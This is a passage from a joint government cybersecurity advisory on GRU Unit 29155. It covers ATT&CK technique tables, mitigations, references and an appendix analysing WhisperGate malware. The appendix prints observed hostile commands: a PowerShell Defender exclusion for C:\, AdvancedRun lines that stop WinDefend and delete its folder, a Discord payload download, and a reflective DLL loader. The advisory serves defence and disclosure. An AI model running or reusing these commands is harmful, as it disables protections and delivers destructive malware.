Network Service Discovery	T1046 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1046/">https://attack.mitre.org/versions/v1/5/techniques/t1046/</a> >	Once Unit 29155 cyber actors gained access to victim internal networks, they further used Nmap (via the NSE) to write custom scripts for discovering and scanning other machines.
Log Enumeration	T1654 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1654/">https://attack.mitre.org/versions/v1/5/techniques/t1654/</a> >	Unit 29155 cyber actors have enumerated and exfiltrated SECURITY and SYSTEM logs.

Give Feedback

**Table 10: Lateral Movement**

Technique Title	ID	Use
-----------------	----	-----

Technique Title	ID	Use
Use Alternate Authentication Material: Pass the Hash	T1550.002 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1550/002/">https://attack.mitre.org/versions/v1/5/techniques/t1550/002/</a> >	Unit 29155 cyber actors used Pass-the-Hash to authenticate via SMB.

**Table 11: Collection**

Technique Title	ID	Use
Email Collection	T1114 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1114/">https://attack.mitre.org/versions/v1/5/techniques/t1114/</a> >	Unit 29155 cyber actors have used their infrastructure to compromise multiple victims' mail servers and exfiltrate mail artifacts, such as email messages.
Video Capture	T1125 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1125/">https://attack.mitre.org/versions/v1/5/techniques/t1125/</a> >	Unit 29155 cyber actors have exploited IoT devices, specifically IP cameras with default usernames and passwords, and exfiltrated images.
Data from Information Repositories: Confluence	T1213.001 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1213/001/">https://attack.mitre.org/versions/v1/5/techniques/t1213/001/</a> >	Unit 29155 cyber actors leveraged Through the Wire against the victim's internet-facing Confluence server.
Archive Collected Data	T1560 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1560/">https://attack.mitre.org/versions/v1/5/techniques/t1560/</a> >	Unit 29155 cyber actors compress victim data (e.g., the entire filesystem, select file system artifacts or user data, and/or database dumps) to send back to their infrastructure.

**Table 12: Command and Control**

Technique Title	ID	Use
-----------------	----	-----

Give Feedback

Technique Title	ID	Use
Proxy: Multi-hop Proxy	T1090.003 <a href="https://attack.mitre.org/versions/v1/5/techniques/t1090/003/">https://attack.mitre.org/versions/v1/5/techniques/t1090/003/</a>	<p>Unit 29155 cyber actors executed commands via ProxyChains – a tool used to route internal traffic through a series of proxies.</p> <p>ProxyChains was also used to provide further anonymity and modify system configuration to force network traffic through chains of SOCKS5 proxies and respective ports.</p>
Application Layer Protocol: Web Protocols	T1071.001 <a href="https://attack.mitre.org/versions/v1/5/techniques/t1071/001/">https://attack.mitre.org/versions/v1/5/techniques/t1071/001/</a>	Unit 29155 cyber actors use POST requests over HTTP to send payloads to victims.
Application Layer Protocol: DNS	T1071.004 <a href="https://attack.mitre.org/versions/v1/5/techniques/t1071/004/">https://attack.mitre.org/versions/v1/5/techniques/t1071/004/</a>	Unit 29155 cyber actors used DNS tunneling tools, such as dnscat/2 and Iodine, to tunnel IPv4 network traffic.
Non-Application Layer Protocol	T1095 <a href="https://attack.mitre.org/versions/v1/5/techniques/t1095/">https://attack.mitre.org/versions/v1/5/techniques/t1095/</a>	Unit 29155 cyber actors commonly use a reverse TCP connection to initiate communication with their infrastructure.
Ingress Tool Transfer	T1105 <a href="https://attack.mitre.org/versions/v1/5/techniques/t1105/">https://attack.mitre.org/versions/v1/5/techniques/t1105/</a>	When an exploit is successfully executed on a victim system, Unit 29155 cyber actors are known to launch the Meterpreter payload to initiate communication with their actor-controlled systems.
Protocol Tunneling	T1572 <a href="https://attack.mitre.org/versions/v1/5/techniques/t1572/">https://attack.mitre.org/versions/v1/5/techniques/t1572/</a>	Unit 29155 cyber actors have used infrastructure configured with OpenVPN configuration to tunnel traffic over a single port (1194), VPNs, and GOST to anonymize their operational activity.

**Table 13: Exfiltration**

Technique Title	ID	Use
-----------------	----	-----

Give Feedback

Technique Title	ID	Use
Exfiltration Over Web Service: Exfiltration to Cloud Storage	T1567.002 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1567/002/">https://attack.mitre.org/versions/v1/5/techniques/t1567/002/</a> >	Unit 29155 cyber actors exfiltrated data to the cloud storage and file hosting service, MEGA (mega[.]lnz), using Rclone.

**Table 14: Impact**

Technique Title	ID	Use
Data Destruction	T1485 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1485/">https://attack.mitre.org/versions/v1/5/techniques/t1485/</a> >	Unit 29155 cyber actors' objectives include the destruction of data.

## Mitigations

The authoring agencies recommend organizations implement the mitigations supplied below to improve organizational cybersecurity posture based on threat actor activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA's [Cross-Sector Cybersecurity Performance Goals](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals>> for more information on the CPGs, including additional recommended baseline protections.

### Limit Adversarial Use of Common Vulnerabilities

- **Prioritize patching to CISA's Known Exploited Vulnerabilities Catalog** <<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>>, especially for CVEs identified in this advisory, and then critical and high vulnerabilities that allow for remote code execution on internet-facing devices.
- **Conduct regular automated vulnerability scans** to perform vulnerability assessments on all network resources based on threat actor behaviors and known exploitable vulnerabilities ([CISA CPG 1.E](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#mitigatingknownvulnerabilities1e) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#mitigatingknownvulnerabilities1e>>).
- **Limit exploitable services on internet-facing assets**, such as email and remote management protocols ([CISA CPGs 2.M](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#emailsecurity2m) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#emailsecurity2m>>, [2.W](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#noexploitableservicesontheinternet2w) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#noexploitableservicesontheinternet2w>>). Where necessary services must be exposed, such as services hosted in a demilitarized zone (DMZ), implement the appropriate compensatory controls to prevent common forms of abuse and exploitation. Disable all unnecessary operating system applications and network protocols to combat adversary enumeration. For additional guidance, see [CISA Insights: Remediate Vulnerabilities for Internet-Accessible Systems](https://www.cisa.gov/sites/default/files/publications/cisainsights-cyber-remediatevulnerabilitiesforinternetaccessiblesystems_s508c.pdf) <[https://www.cisa.gov/sites/default/files/publications/cisainsights-cyber-remediatevulnerabilitiesforinternetaccessiblesystems\\_s508c.pdf](https://www.cisa.gov/sites/default/files/publications/cisainsights-cyber-remediatevulnerabilitiesforinternetaccessiblesystems_s508c.pdf)>.
- **U.S. organizations can utilize a range of CISA services at no cost, including vulnerability scanning and testing, to help organizations reduce exposure to threats.** CISA Cyber Hygiene services can provide additional review of internet-accessible assets and provide regular reports on steps to take to mitigate vulnerabilities. Email [vulnerability@cisa.dhs.gov](mailto:vulnerability@cisa.dhs.gov) with the subject line, "Requesting Cyber Hygiene Services," to get started.

- **Software manufacturers, vendors, and consumers** are encouraged to review CISA and NIST's [Defending Against Supply Chain Attacks](https://www.cisa.gov/resources-tools/resources/defending-against-software-supply-chain-attacks-0) <<https://www.cisa.gov/resources-tools/resources/defending-against-software-supply-chain-attacks-0>>. This publication provides an overview of software supply chain risks and recommendations for how software customers and vendors can use the NIST Cyber Supply Chain Risk Management (C-SCRM) Framework and the Secure Software Development Framework (SSDF) to identify, assess, and mitigate software supply chain risks. CISA recommends comprehensive mitigations for supply chain incident reporting, vulnerability disclosing (e.g., security.txt), and choosing a trusted supplier or vendor that observes proper cyber security hygiene ([CISA CPG 1.G](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#supplychainincidentreporting1g) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#supplychainincidentreporting1g>>, [1.H](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#supplychainvulnerabilitydisclosure1h) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#supplychainvulnerabilitydisclosure1h>>, [1.I](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#vendorsuppliercybersecurityrequirements1i) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#vendorsuppliercybersecurityrequirements1i>>) to defend against upstream attacks.

## Deploy Protective Controls and Architecture

- **Implement network segmentation.** Network segmentation can help prevent lateral movement by controlling traffic flows between—and access to—various subnetworks ([CISA CPG 2.F](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#networksegmentation2f) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#networksegmentation2f>>). Best practice mitigations include updating Identity and Access Management (IAM) and employing phishing-resistant MFA for all devices and accounts identified as organizational assets. For additional guidance, see CISA and NSA's [IAM Recommended Best Practices Guide for Administrators](https://www.cisa.gov/news-events/alerts/2023/03/21/cisa-and-nsa-release-enduring-security-framework-guidance-identity-and-access-management) <<https://www.cisa.gov/news-events/alerts/2023/03/21/cisa-and-nsa-release-enduring-security-framework-guidance-identity-and-access-management>> ([CISA CPG 2.H](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#phishingresistantmultifactorauthenticationmfa2h) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#phishingresistantmultifactorauthenticationmfa2h>>).
- **Verify and ensure that sensitive data, including credentials, are not stored in plaintext and can only be accessed by authenticated and authorized users.** Credentials must be stored in a secure manner, such as with a credential/password manager to protect from malicious enumeration ([CISA CPG 2.L](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#securesensitizeddata2l) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#securesensitizeddata2l>>).
- **Disable and/or restrict use of command line and PowerShell activity.** Update to the latest version and uninstall all earlier PowerShell versions ([CISA CPG 2.N](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#disablemacrosbydefault2n) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#disablemacrosbydefault2n>>).
- **Implement a continuous system monitoring program, such as security information and event management (SIEM) or endpoint detection and response (EDR) solutions,** to comprehensively log and review all authorized external access connections. This logging will better ensure the prompt detection of misuse or abnormal activity ([CISA CPG 2.T](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#logcollection2t) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#logcollection2t>>).
- **Monitor for unauthorized access attempts and programming anomalies** through comprehensive logging that is secured from modification, such as limiting permissions and adding redundant remote logging ([CISA CPG 2.U](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#securelogstorage2u) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#securelogstorage2u>>). Security appliances should be set to detect and/or block Impacket framework indicators, PSEXEC or WMI commands, and suspicious PowerShell commands for timely identification and remediation.
- **Identify any use of outdated or weak encryption,** update these to sufficiently strong algorithms, and consider the implications of post-quantum cryptography ([CISA CPG 2.K](https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#strongandagileencryption2k) <<https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#strongandagileencryption2k>>). Use properly configured and up-to-date Secure Socket Layer (SSL)/Transport Layer Security (TLS) to protect data in transit.

# Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see **Table 3 to Table 14**).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies' performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

## Resources

- MITRE: WhisperGate <<https://attack.mitre.org/software/s0689/>>
- CISA AA22-057A: Destructive Malware Targeting Organizations in Ukraine <<https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-057a>>
- DOJ Press Release: Russian National Charged for Conspiring with Russian Military Intelligence to Destroy Ukrainian Government Computer Systems and Data <<https://www.justice.gov/opa/pr/russian-national-charged-conspiring-russia-military-intelligence-destroy-ukrainian>>
- FBI: Cyber Crime <<https://www.fbi.gov/investigate/cyber>>
- CISA: Russia Cyber Threat Overview and Advisories <<https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia>>
- MITRE: Group G1003 - Ember Bear <<https://attack.mitre.org/groups/g1003/>>
- MITRE: Impacket <<https://attack.mitre.org/versions/v15/software/s0357/>>
- NIST NVD: CVE-2020-1472 <<https://nvd.nist.gov/vuln/detail/cve-2020-1472>>
- NIST NVD: CVE-2021-26084 <<https://nvd.nist.gov/vuln/detail/cve-2021-26084>>
- NIST NVD: CVE-2021-3156 <<https://nvd.nist.gov/vuln/detail/cve-2021-3156>>
- NIST NVD: CVE-2021-4034 <<https://nvd.nist.gov/vuln/detail/cve-2021-4034>>
- NIST NVD: CVE-2022-27666 <<https://nvd.nist.gov/vuln/detail/cve-2022-27666>>
- NIST NVD: CVE-2021-33044 <<https://nvd.nist.gov/vuln/detail/cve-2021-33044>>
- NIST NVD: CVE-2021-33045 <<https://nvd.nist.gov/vuln/detail/cve-2021-33045>>
- NIST NVD: CVE-2022-26134 <<https://nvd.nist.gov/vuln/detail/cve-2022-26134>>
- NIST NVD: CVE-2022-26138 <<https://nvd.nist.gov/vuln/detail/cve-2022-26138>>

Give Feedback

- NIST NVD: CVE-2022-3236 <<https://nvd.nist.gov/vuln/detail/cve-2022-3236>>
- MITRE: BloodHound <<https://attack.mitre.org/software/s0521/>>
- MITRE: Rclone <<https://attack.mitre.org/versions/v15/software/s1040/>>
- MITRE: P.A.S. Webshell <<https://attack.mitre.org/versions/v15/software/s0598/>>
- CISA: Known Exploited Vulnerabilities Catalog <<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>>
- CISA Insights: Remediate Vulnerabilities for Internet-Accessible Systems  
 <[https://www.cisa.gov/sites/default/files/publications/cisainsights-cyber-remediatevulnerabilitiesforinternetaccessiblesystems\\_s508c.pdf](https://www.cisa.gov/sites/default/files/publications/cisainsights-cyber-remediatevulnerabilitiesforinternetaccessiblesystems_s508c.pdf)>
- CISA, NIST: Defending Against Supply Chain Attacks <<https://www.cisa.gov/resources-tools/resources/defending-against-software-supply-chain-attacks-0>>
- CISA, NSA: IAM Recommended Best Practices Guide for Administrators <<https://www.cisa.gov/news-events/alerts/2023/03/21/cisa-and-nsa-release-enduring-security-framework-guidance-identity-and-access-management>>

## References

- 1.** Microsoft Threat Intelligence Center: Destructive Malware Targeting Ukrainian Organizations  
 <<https://www.microsoft.com/en-us/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/>>
- 2.** Microsoft Threat Intelligence Center: Cadet Blizzard Emerges as a Novel and Distinct Russian Threat Actor
- 3.** CrowdStrike: EMBER BEAR Threat Actor Profile <<https://www.crowdstrike.com/blog/who-is-ember-bear/>>
- 4.** Mandiant Threat Intelligence: Responses to Russia's Invasion of Ukraine Likely to Spur Retaliation  
 <<https://cloud.google.com/blog/topics/threat-intelligence/russia-invasion-ukraine-retaliation/>>
- 5.** SentinelOne: Threat Actor UAC-0056 Targeting Ukraine with Fake Translation Software  
 <<https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/>>
- 6.** Introduction to Acunetix <<https://www.acunetix.com/support/docs/introduction/>>
- 7.** GitHub: OWASP Amass <<https://github.com/owasp-amass/amass>>
- 8.** Kali Linux Tutorials: Droopescan <<https://kalilinuxtutorials.com/droopescan/>>
- 9.** GitHub: OWASP JoomScan <<https://github.com/owasp/joomscan>>
- 10.** Kali.org: MASSCAN <<https://www.kali.org/tools/masscan>>
- 11.** DigitalOcean: How To Use Netcat to Establish and Test TCP and UDP Connections  
 <<https://www.digitalocean.com/community/tutorials/how-to-use-netcat-to-establish-and-test-tcp-and-udp-connections>>
- 12.** Shodan: What is Shodan? <<https://help.shodan.io/the-basics/what-is-shodan>>
- 13.** VirusTotal: How it Works <<https://docs.virustotal.com/docs/how-it-works>>
- 14.** GitHub: Through the Wire <[https://github.com/jbaines-r7/through\\_the\\_wire](https://github.com/jbaines-r7/through_the_wire)>
- 15.** Confluence Security Advisory: Confluence Server and Data Center - CVE-2022-26134  
 <<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>>
- 16.** Microsoft: Security Bulletin MS17-010 <<https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010>>
- 17.** Avast: What is EternalBlue and Why is the MS17-010 Exploit Still Relevant? <<https://www.avast.com/c-eternalblue>>
- 18.** Palo Alto Networks Unit 42: Threat Brief - Ongoing Russia and Ukraine Cyber Activity  
 <<https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/>>
- 19.** CERT-UA#3799 Report <<https://cert.gov.ua/article/18419>>
- 20.** Bellingcat: Attack on Ukrainian Government Websites Linked to GRU Hackers  
 <<https://www.bellingcat.com/news/2022/02/23/attack-on-ukrainian-government-websites-linked-to-russian-gru-hackers/>>

Give Feedback

## 21. Trend Micro: Cyberattacks are Prominent in the Russia-Ukraine Conflict

<[https://www.trendmicro.com/en\\_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html](https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html)>

## Contact Information

To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office <<https://www.fbi.gov/contact-us/field-offices>> or CISA's 24/7 Operations Center at [contact@mail.cisa.dhs.gov](mailto:contact@mail.cisa.dhs.gov) or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact [Cybersecurity\\_Requests@nsa.gov](mailto:Cybersecurity_Requests@nsa.gov).

## Disclaimer

The information in this report is being provided "as is" for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.

## Version History

**September 5, 2024:** Initial version.

## Appendix A: WhisperGate Malware Analysis

### Overview

This technical analysis details the WhisperGate malware deployed against Ukraine; samples were collected from one victim and analyzed. The analysis provides insight into Unit 29155 cyber actor infrastructure used for network scanning, password compromising, and data exfiltration against Ukraine, NATO members in Europe and North America, and countries in Latin America and Central Asia.

Unit 29155 cyber actors' use of WhisperGate involved the deployment of the malware files, [stage1.exe](#) and [stage2.exe](#). WhisperGate has two stages that corrupts a system's master boot record, displays a fake ransomware note, and encrypts files based on certain file extensions (see [AA22-057A](#) <<https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-057a>>). The actors used multiple Discord accounts to store malware files, including what appears to be development versions or iterations of the binaries. Discord is commonly leveraged by threat actors as an endpoint for malware distribution and control; in this case, it was used to obtain the next step of the infection chain by directly sharing files through its platform. In the case of [stage2.exe](#), the binary communicated with Discord to obtain [Tbopbh.jpg](#)—the malicious payload that is in-memory loaded and performs the destructive capabilities.<sup>[18]</sup> <<https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/>>

Give Feedback

## Categorization

The Discord accounts associated with the WhisperGate campaign are categorized into three main clusters, labeled below as Clusters 1, 2, and 3. All clusters used Discord as a staging environment for malware deployment. These groupings are based on analysis of threat actor IP addresses and the nature of the malware that existed within the accounts. The following sections include notable details found within each cluster.

### Cluster 1

Cluster 1 contained the following files:

- `hxxps://cdn.discordapp[.]com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg` (a resource, e.g., payload, for `stage2.exe`)[\[18 <https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/>\]](#)
- `saint.exe` (a downloader, `SaintBot`, as detailed by CERT-UA)[\[19 <https://cert.gov.ua/article/18419>\]](#)
- `puttyjejfrwu.exe`[\[19 <https://cert.gov.ua/article/18419>\]](#)

### Cluster 2

Cluster 2 contained:

- `hxxps://cdn.discordapp[.]com/attachments/888408190625128461/895633952247799858/n.lashevychdirekcy.atom.gov.ua.zip` (means for sending malware in over 35 different zip files via Discord links)[\[20 <https://www.bellingcat.com/news/2022/02/23/attack-on-ukrainian-government-websites-linked-to-russian-gru-hackers/>\]](#)
- Several Microsoft Word documents with macros that download `test01.exe` from `3237.site`. Once executed, `test01.exe` downloads `load2022.exe` from `smm2021.net`.

### Cluster 3

Cluster 3 contained:

- `hxxps://cdn.discordapp[.]com/attachments/945968593030496269/945970446149509130/Client.exe` (**Note:** Unit 29155 cyber actors' use of `Client.exe` was confirmed as linked to the activity, but the file was not obtained for analysis and functionality cannot be confirmed.)
- `asd.exe` (likely a development version of `stage1.exe`)

## Behavioral Analysis

Two Windows Portable Executable (PE) files (`stage1.exe` and `stage2.exe`) were obtained from the Ukrainian victim for analysis. One PE file (`asd.exe`) was obtained from a U.S. victim.

### stage1.exe

`stage1.exe` was obtained from the C:\ path of the Ukrainian victim's Windows machine. `stage1.exe` executes when the infected device is powered down, overwriting the master boot record (MBR) and preventing the system from booting normally. **Table 15** lists the hashes and properties attributed to `stage1.exe`.

**Table 15: stage1.exe Properties**

Give Feedback

<b>MD5</b>	5d5c99a08a7d927346ca2dafa7973fc1
<b>SHA-256</b>	a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
<b>Compiler</b>	MinGW(GCC: (GNU) 6.3.0)[-]
<b>Linker</b>	GNU linker Id (GNU Binutils)(2.28)[GUI32]
<b>TimeDateStamp</b>	2022-01-10 05:37:18
<b>Execution Message</b>	Your hard drive has been corrupted. In case you want to recover all hard drives of your organization, You should pay us \$10k via bitcoin wallet 1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65 with your organization name. We will contact you to give further instructions.

**Table 16:** asd.exe Properties

<b>MD5</b>	eac0ae655d344c25ff467a929790885c
<b>SHA-256</b>	b9e64b58d7746cb1d3bed20405ef34d097af08c809d8dad10b9296b0bebb2b0b
<b>Compiler</b>	MinGW(GCC: (GNU) 6.3.0)[-]
<b>Linker</b>	GNU linker Id (GNU Binutils)(2.28)[Console32,console]
<b>TimeDateStamp</b>	1969-12-31 19:00:00

asd.exe is likely a development version of stage1.exe. While the behavior of asd.exe is similar to stage1.exe, the messages displayed were different.

## stage2.exe

stage2.exe was obtained from the C:\ path of the Ukrainian victim's Windows machine. **Table 17** lists the hashes and properties attributed to stage2.exe.

**Table 17:** stage2.exe Properties

<b>MD5</b>	764f691b2168e8b3b6f9fb6582e2f819
<b>SHA-256</b>	aa79afbfb82b06cda268664b7c83900d8f7a33e0f0071facba0b3d8f7a68ce56a
<b>Library</b>	.NET(v4.0.30319)[-]
<b>Linker</b>	Microsoft Linker(6.0)(GUI32,signed)
<b>TimeDateStamp</b>	2022-01-10 09:39:54

**Table 18** lists the following chronological observations when stage2.exe executes.

**Table 18: stage2.exe Behavioral Analysis Observations**

Event	Victim Observation
PowerShell command executed twice	<pre>C:\Windows\System32\WindowsPowerShell\ v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACA AMQAwAA==</pre>
Base64 UTF-16LE string decoded	<pre>Start-Sleep -s 10</pre>
HTTP GET request sent to Discord URL to download Tbopbh.jpg	<pre>hxxp://cdn.discordapp.com/attachments/ 928503440139771947/930108637681184768/ Tbopbh[.]jpg</pre>
Nmddfrqqrbyjeyggda.vbs created and executed within the %TEMP% directory	<p>The Visual Basic Script (VBS) file contained the following command:</p> <pre>CreateObject("WScript.Shell").Run "powershell Set-MpPreference - ExclusionPath 'C:\'', 0, False</pre>
AdvancedRun.exe created and executed twice	<pre>C:\Users\ &lt;user&gt;\AppData\Local\Temp\AdvancedRun.e xe" /EXEfilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run</pre> <pre>C:\Users\ &lt;user&gt;\AppData\Local\Temp\AdvancedRun.e xe" /EXEfilename "C:\Windows\System32\WindowsPowerShell\ v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run</pre>
InstallUtil.exe created and executed; files corrupted following execution	<pre>C:\Users\ &lt;user&gt;\AppData\Local\Temp\InstallUtil.e xe</pre>

Give Feedback

## Static Analysis

Static analysis was further conducted on two files (`stage2.exe`, `Tbopbh.jpg`) to uncover additional malware functionality and attributes.

### stage2.exe

Static analysis was performed on a variant of stage2.exe; its hashes and properties are listed in **Table 19** below. Of note, the MD5 and SHA-256 hash values were different than those obtained from the Ukrainian victim machine (listed above in **Table 17**). Behavioral analysis was also performed on the below variant and both files exhibited the same behavior.

**Table 19: stage2.exe Variant Properties**

MD5	14c8482f302b5e81e3fa1b18a509289d
SHA-256	dcbbae5a1c61dbbbb7dc6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
Library	.NET(v4.0.30319)[-]
Linker	Microsoft Linker(6.0)(GUI32,signed)
TimeDateStamp	2022-01-10 09:39:54

This variant of `stage2.exe` contained multiple layers of execution:

- `stage2.exe` contained a WebClient object that was initialized with Discord URL `hxxps://cdn.discordapp.com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg` to obtain the payload `Tbopbh.jpg`.
- `stage2.exe` contained logic to reverse file bytes of a file using the Array's Reverse method.
- `stage2.exe` contained logic to load an Assembly object into a Stream object.
- `stage2.exe` used the reflection library to call method `Y1fwdwgmpilzyaph` from the loaded Assembly object.
- `stage2.exe` contained decryption logic that resembled RC4, a C# class produced a base64 string and an encryption class which created a key using the decoded string. The encryption class used encryption logic every 32 bytes to decrypt. Additionally, the XOR functionality occurred using the initialized byte "Array" shown below. The encryption class resembled RC4; it was used every 32 bytes. The base64 string came from a class that contained EazFuscator logic to obfuscate code by eliminating control flow within code, as well as making symbols difficult to analyze:

```
> byte[] array = new byte[] {148, 68, 208, 52, 241, 93, 195, 220};
```

- `stage2.exe` contained EazFuscator class logic. This included logic that built strings during runtime; otherwise, the full strings would have been obfuscated and further segmented when viewed statically. The following is an example of a built string:

```
> UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==
```

- When the above string was base64 decoded, the system displayed the following PowerShell command: `Start-Sleep -s 10`
- `stage2.exe` served as the downloader and driver logic for the malware payload, `Tbopbh.jpg`.

## Tbopbh.jpg (payload for stage2.exe variant)

An account in Discord Cluster 1 contained malware with the following hashes, labeled as Tbopbh.jpg:

- MD5: b3370eb3c5ef6c536195b3bea0120929
- SHA-256: 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6

When viewing payload `Tbopbh.jpg` using a hex editor, it ended with value “ZM” or hex values “5A 4D”—this indicated the payload was a reversed PE. Reversing the bytes of `Tbopbh.jpg` revealed the hashes of the resulting payload listed in **Table 20** below.

**Table 20: Tbopbh.jpg Properties**

MD5	e61518ae9454a563b8f842286bbdb87b
SHA-256	9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
Protector	Eazfuscator(-)[-]
Library	.NET(v4.0.30319)[-]
Linker	Microsoft Linker(6.0)[DLL32]
TimeStamp	2022-01-10 09:39:31

The original filename from the resulting payload was a Dynamic Link Library (DLL) file,

`Frkmlkdङdkdubkznbkmcf.dll`; its attributes are listed in **Table 21**:

**Table 21: Frkmlkdङdkdubkznbkmcf.dll Attributes**

Resources	Classes	Methods
\u2005 \u2005 \u2009 \u2008 \u2001 \u2007 \u2009 \u200b \u200a \u2005	Main-ClassLibrary1	\u0002
<b>Note:</b> This format annotates action taken by EazFuscator to obfuscate items, making it difficult for malware analysts to review.		
7c8cb5598e724d34384cce7 402b11f0e	pc1e0x2WJV1579235895 -	Ylfwdwgmpilzyaph
78c855a088924e92a7f60d6 61c3d1845		

Give Feedback

`stage2.exe` was observed calling method `Ylfwdwgmpilzyaph` to begin decrypting resource `78c855a088924e92a7f60d661c3d1845`. The reflection library was used to execute method `Ylfwdwgmpilzyaph`, as shown in the following C# code block:

```
using System.Reflection;
string path = "Frkmlkdkdubkznbkmcf.dll";
string fqpn = Path.GetFullPath(path);
Assembly assembly = Assembly.LoadFile(fqpn);
Type type = assembly.GetType("ClassLibrary1.Main");
type.InvokeMember("Ylfwdwgmpilzyaph", BindingFlags.InvokeMethod, null, null,
null);
```

The following application configuration accompanied the above code block to allow loading from remote sources:

```
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<runtime>
<loadFromRemoteSources enabled="true"/>
</runtime>
</configuration>
```

Upon invoking the method `Ylfwdwgmpilzyaph`, `Nmddfrqrbyjeyggda.vbs` wrote to the Windows `%TEMP%` directory and has the following attributes, as listed in **Table 22** below.

**Table 22: Nmddfrqrbyjeyggda.vbs Attributes**

<b>MD5</b>	6eed4ee0cc57126e9a096ab9905f471c
<b>SHA-256</b>	db5a204a34969f60fe4a653f51d64eee024dbf018edea334e8b3df780eda846f
<b>VBS Code</b>	CreateObject("WScript.Shell").Run "powershell Set-MpPreference -ExclusionPath 'C:\'", 0, False

